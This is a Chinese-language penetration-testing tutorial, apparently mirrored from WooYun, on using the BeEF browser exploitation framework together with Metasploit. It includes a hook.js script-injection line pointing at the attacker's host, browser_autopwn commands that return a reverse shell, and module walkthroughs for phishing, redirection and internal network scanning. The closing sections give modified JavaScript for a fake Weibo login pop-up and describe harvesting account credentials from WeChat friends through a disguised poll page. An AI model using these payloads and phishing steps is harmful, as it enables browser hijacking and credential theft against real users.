瀏覽器利用框架BeEF測試

wyzsk發表於2020-08-19
作者: 三好學生 · 2015/10/23 10:18

0x00 前言


BeEF,全稱The Browser Exploitation Framework,是一款針對瀏覽器的滲透測試工具。 目前對其測試的文章不是很多,所以希望透過本次測試給大家帶來全新的認識。

這裡寫圖片描述

0x01 簡介


工具主頁:http://beefproject.com

工具框架:

這裡寫圖片描述

0x02 測試環境


攻擊主機:

作業系統:Kali 1.0
IP:192.168.16.245

測試主機:

作業系統:Win7x86
IP:192.168.16.197

路由器:

WooyunWifi
開啟JS注入功能

這裡寫圖片描述

Tips:

WooyunWifi開啟JS注入功能後會對使用者訪問的頁面加入JS程式碼,如果JS程式碼設定成如下格式,那麼執行後會在BeEF控制端返回一個shell

document.write("<script language='javascript' src='http://192.168.16.245:3000/hook.js'></script>");

預設情況下JS注入附帶快取投毒功能,將檢視快取所有的頁面至2099年,但可以透過清除所有快取及瀏覽資料來清除快取投毒的影響。

這裡寫圖片描述

0x03 BeEF引數配置


BeEF在Kali下預設安裝,直接找到對應圖示啟動即可,但是預設設定未同Metasploit關聯,無法使用msf模組,因此需要作如下配置連線msf

1、修改config.yaml

編輯
/usr/share/beef-xss/config.yaml

metasploit:
            enable: false改為true

這裡寫圖片描述

編輯
/usr/share/beef-xss/extensions/demos/config.yaml

enable:true改為false

編輯
/usr/share/beef-xss/extensions/metasploit/config.yaml

設定
    ssl: true
    ssl_version: 'TLSv1'

這裡寫圖片描述

2、啟動msf服務

service postgresql start
service metasploit start
msfconsole
load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123 SSL=y

3、執行BeEF.rb

cd /usr/share/beef-xss/
/usr/share/beef-xss/beef

(啟動後不要關閉,不然登入介面會提示密碼錯誤)

這裡寫圖片描述

4、啟動BeEF

彈出瀏覽器,輸入預設使用者名稱口令beef,即可登陸

主介面如圖

這裡寫圖片描述

0x04 功能介紹


對基本功能做全面介紹,高階用法以後會做補充

1-資訊收集

1、瀏覽器資訊 可收集:

瀏覽器名稱版本
瀏覽器使用者版本
外掛(包括Java,ActiveX,VBS,Flash……)
視窗大小

收集方法:

(1)自動預設收集資訊
如圖

這裡寫圖片描述

(2)外掛收集資訊
如圖

這裡寫圖片描述

Tips:

模組圖示不同顏色對應不同的使用效果
綠色:適用當前瀏覽器
橙色:適用當前瀏覽器,但易被使用者發現,social engineering模組預設為橙色
紅色:不適於當前瀏覽器,但仍可嘗試

2、系統資訊

可收集:

安裝的軟體(適用於IE下,Detect Software模組)
登錄檔鍵值(適用於IE下,此時會彈出提示訊息)
內網IP(Java模組得到授權)
系統詳情(透過JavaApplet獲取系統版本、Java VM details、NIC names and IP、處理器、記憶體、螢幕顯示模式)
定位(透過Google maps)
剪貼簿資訊(會彈出提示訊息)

如圖

這裡寫圖片描述

這裡寫圖片描述

這裡寫圖片描述

3、使用者行為

可收集:

使用者是否訪問過某URL、domain
是否登入特定網站賬號
是否使用TOR

如圖

這裡寫圖片描述

2-社會工程

如果使用BeEF控制了瀏覽器,那麼就可以修改整個頁面來嘗試社會工程學

1、提交登入資訊

簡單粗暴往往是最有效的

Pretty Theft模組:

在網頁彈出誘騙訊息需要使用者輸入登入和密碼,並解釋該會話已超時

選擇的登入框模板,如圖

這裡寫圖片描述

配置後使用者瀏覽器介面,如圖

這裡寫圖片描述

當使用者輸入資訊後,自動獲取,如圖

這裡寫圖片描述

Simple Hijacker模組:

劫持網頁上面的所有連結,當使用者點選任意連結時彈出誘騙訊息,如果使用者接著點選會跳轉到指定域名
如圖

這裡寫圖片描述

這裡寫圖片描述

Clippy模組:

建立一個瀏覽器助手提示使用者點選
如圖

這裡寫圖片描述

2、重定向

Rediret Browser模組:

將當前頁面重定向至指定頁面,有可能導致當前許可權丟失

Rediret Browser(iframe)模組:

將當前頁面重定向至指定頁面,,同時保留當前連線,可以維持當前瀏覽器許可權
如圖

這裡寫圖片描述

這裡寫圖片描述

TabNabbing模組:

當檢測使用者不在當前頁面時啟動定時器,倒數計時結束後自動重定向至指定頁面
如圖

這裡寫圖片描述

3、Chrome/Firefox extensions

Fake Flash Update模組:

提示使用者安裝Adobe Flash Player的更新,使用者點選後會下載指定檔案
如圖

這裡寫圖片描述

Chrome Extensions 系列:

值得嘗試

這裡寫圖片描述

4、補充

Clickjacking模組:

可以使用multi-click clickjacking,判斷當前使用者滑鼠位置,在不同位置可觸發不同JS程式碼
如圖,滑鼠後面跟隨一個iframe

這裡寫圖片描述

這裡寫圖片描述

3-網路掃描

透過JavaScript,可以嘗試利用瀏覽器掃描內網

1、獲取內網IP

Get Internal IP WebRTC模組:

透過WebRTC獲取內網IP

Get Internal IP模組:

透過Java Socket class獲取內網IP

2、識別區域網子網

識別內網閘道器,如圖

這裡寫圖片描述

3、識別HTTP Servers

識別內網web servers

4、ping操作

呼叫ping命令掃描內網

Ping Sweep模組 Ping Sweep (Java)模組

如圖

這裡寫圖片描述

5、跨域掃描

6、DNS列舉

如圖

這裡寫圖片描述

7、埠掃描

Port Scanner模組

如圖

這裡寫圖片描述

這裡寫圖片描述

8、網路指紋特徵掃描

用來掃描內網中的Web伺服器和網路裝置

Fingerprint Network模組

如圖

這裡寫圖片描述

9、Remote CSRFs

10、IRC NAT Pinning

模擬瀏覽器的IRC通訊,可用來繞過防火牆

11、網路拓撲

BeEF可根據掃描獲得的資訊繪製內網網路拓撲 如圖

這裡寫圖片描述

這裡寫圖片描述

這裡寫圖片描述

此部分會在以後詳細介紹

4-結合Metasploit

1、Metasploit系列模組

如圖

這裡寫圖片描述

2、Browser Autopwn

反彈回meterpreter

方法:

(1)使用Metasploit的Browser Autopwn功能生成BrowserAutoPwn URL

use auxiliary/server/browser_autopwn
show options
set LHOST 192.168.16.245
set SRVHOST 192.168.16.245
set SRVPORT 8881
run -z

生成一個連結,如圖

這裡寫圖片描述

這裡寫圖片描述

(2)使用"Create Invisible Iframe"模組載入autopwn頁面

如圖

這裡寫圖片描述

(3)等待彈回shell

sessions -l

5-Tunneling

代理功能

方法:

1、選擇控制的瀏覽器

如圖

這裡寫圖片描述

2、瀏覽器代理設定

HTTP Proxy:127.0.0.1
Port:6789

如圖

這裡寫圖片描述

細節以後補充

3、訪問同樣網站,檢視本機瀏覽器頁面同被控瀏覽器頁面內容是否相同(即不需要cookie可實現登入賬號)

6-XSS

如圖

這裡寫圖片描述

細節以後補充

7-維持許可權

1、Create Pop Under模組

建立一個新視窗,如圖

這裡寫圖片描述

反彈一個新許可權,如圖

這裡寫圖片描述

2、Confirm Close Tab模組

當使用者關閉當前頁面時,反覆彈出確認是否關閉頁面的訊息

3、Create Foreground iFrame模組 修改當前頁面所有連結來避免離開當前頁面
比如使用者點選某個連線,會將新頁面顯示在當前頁面上面,注意的是網址不會傳送改變,如圖:

這裡寫圖片描述

正常訪問的頁面為:(注意看位址列)

這裡寫圖片描述

4、Man In The Browser模組

可攔截修改頁面內所有連結,當使用者點選當前頁面的任意連結後仍可維持許可權(必須是同源的頁面)
如果使用者手動更改URL位址列,無法維持許可權

0x05 小結


本文僅對BeEF的基本功能做了全面介紹,更多高階技巧很值得研究,例如利用BeEF內網滲透,利用代理不透過cookie登陸賬戶突破IP限制繫結等等。

測試過程難免會有疏忽遺漏,理解錯誤的地方歡迎指正,共同進步。

本文由三好學生原創並首發於烏雲drops,轉載請註明

0x06 補充


對手機平臺的微信使用BeEF進行模擬測試

手機系統:

Android

1、上線方法:

1、掃描二維碼

掃描後在BeEF控制端看到手機上線,如圖

這裡寫圖片描述

對此頁面進行Google Phishing欺騙,如圖

這裡寫圖片描述

注:

在微信上面特別的地方在於此處無法看到包含的真實URL地址

2、朋友圈分享

將BeEF的上線地址做一下簡單的偽裝並分享到朋友圈,如圖

這裡寫圖片描述

在朋友圈中同樣無法看到包含的真實URL地址,開啟即為BeEF的hook頁面,如圖

這裡寫圖片描述

3、朋友發來的連結

將此訊息直接發給朋友,如圖

這裡寫圖片描述

我們可以看到偽造前的URL地址

注:

BeEF的hook頁面可以自定義成更具欺騙性的內容,這是為了演示方便使用預設介面

2、微信瀏覽器被Hook後可以做哪些操作

也許有人會提出疑問:手機開啟網址持續的時間很短,關閉當前頁面後BeEF的shell就會下線

解決方法:

使用BeEF API,使用者上線後能夠自動執行批次命令,結合Persistence模組能夠極大提高shell存活時間

除了與windows系統相關的資訊無法獲取,其他操作均能成功執行,並且BeEF為手機劫持提供了專門的模組系列——Phonegap,如圖

這裡寫圖片描述

以下是經測試可以在Android上使用的模組:

1、彈框
2、重定向 
3、檢視是否訪問過某些網站
4、Creates an invisible iframe
5、Social Engineering系列,如下圖,僅作演示 
6、msf系列
7、NetWork系列,可以用來掃描同一內網下的windows主機

這裡寫圖片描述

注:

載入hook頁面後,將手機螢幕關閉處於待機狀態,BeEF仍然可以執行指令,或許這與手機系統相關,值得以後深入測試。

0x07 利用朋友圈投票社工微博帳號例項


1、偽造BeEF的hook頁面

1、尋找模板

隨機找到一個投票的頁面,儲存為html

http://mp.weixin.qq.com/s?__biz=MzA3MTM0NTgyNw==&mid=400240804&idx=1&sn=d87655d4c67a8f39fc84b3cdcb4c1895&scene=1&srcid=1024yDcPJI2to0i3DmiVmj1L&from=groupmessage&isappinstalled=0#rd

2、替換hook頁面

use/share/beef-xss/extensions/demos/html目錄下,將上述html檔案命名為basic.html並新增以下程式碼

var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" 
type="text/javascript"><\/script>';
        document.write(commandModuleStr);

如圖

這裡寫圖片描述

這裡寫圖片描述

上線頁面已被修改

2、修改BeEFsocial_engineering模組

修改彈出對話方塊樣式

將此檔案use/share/beef-xss/modules/social_engineering/pretty_theft/command.js內容 對應部分替換如下:

// Facebook floating div
    function facebook() {

        sneakydiv = document.createElement('div');
        sneakydiv.setAttribute('id', 'popup');
        sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:2%; z-index:51; background-

color:ffffff;');
        document.body.appendChild(sneakydiv);

        // Set appearance using styles, maybe cleaner way to do this with CSS block?
        var windowborder = 'style="width:330px;background:white;border:10px #999999 solid;border-

radius:8px"';
        var windowmain = 'style="border:1px #555 solid;"';
        var tbarstyle = 'style="color: rgb(255, 255, 255); background-color: rgb(255, 102, 0);font-size: 

13px;font-family:tahoma,verdana,arial,sans-serif;font-weight: bold;padding: 5px;padding-left:8px;text-align: 

left;height: 18px;"';
        var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 

8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';
        var messagestyle = 'style="align:left;font-size:11px;font-family:tahoma,verdana,arial,sans-

serif;margin:10px 15px;line-height:12px;height:40px;"';
        var box_prestyle = 'style="color: grey;font-size: 11px;font-weight: bold;font-family: 

tahoma,verdana,arial,sans-serif;padding-left:30px;"';
        var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-

left:4px;border-style: solid;border-width: 1px;border-color: rgb(255,102,0);"'; 
        var buttonstyle = 'style="font-size: 13px;background:#ff6600;color:#fff;font-weight:bold;border: 

1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';

            var title = '微博手機版安全登入';
            var messagewords = '請輸入您的使用者名稱密碼登入後進行投票。<br/><br/>我們將對您的投票資訊嚴格保密。';
            var buttonLabel = '<input type="button" name="ok" value="登入" id="ok" ' +buttonstyle+ ' 

onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" 

onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';

        // Build page including styles
        sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' 

+windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + 

messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>郵箱/會員帳號/手機號: 

</div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) 

document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div 

id="box_pre" ' +box_prestyle+ '>密碼: </div></td><td align="left"><input type="password" id="pass" name="pass" 

onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ 

'/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" 

id="buttonpress" name="buttonpress" value="false"/></div></div></div>';

        // Repeatedly check if button has been pressed
        credgrabber = setInterval(checker,1000);
    }

3、實際操作

1、微信朋友圈釋出投票訊息,如圖

這裡寫圖片描述

使用者點選後會開啟我們偽造的投票頁面,同時隱蔽載入hook.js,在BeEF端上線

2、在使用者手機彈出模擬微博登入的對話方塊

如圖執行Pretty Theft模組

這裡寫圖片描述

使用者手機介面如圖,彈出對話方塊提示輸入登入訊息

這裡寫圖片描述

BeEF控制端返回使用者輸入訊息,如圖

這裡寫圖片描述

3、使用者提交後重定向至另一頁面

BeEF控制端使用Redirect Browser(iFrame)模組,如圖

這裡寫圖片描述

使用者手機介面如圖

這裡寫圖片描述

至此,透過朋友圈投票獲得微博帳號成功實現。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章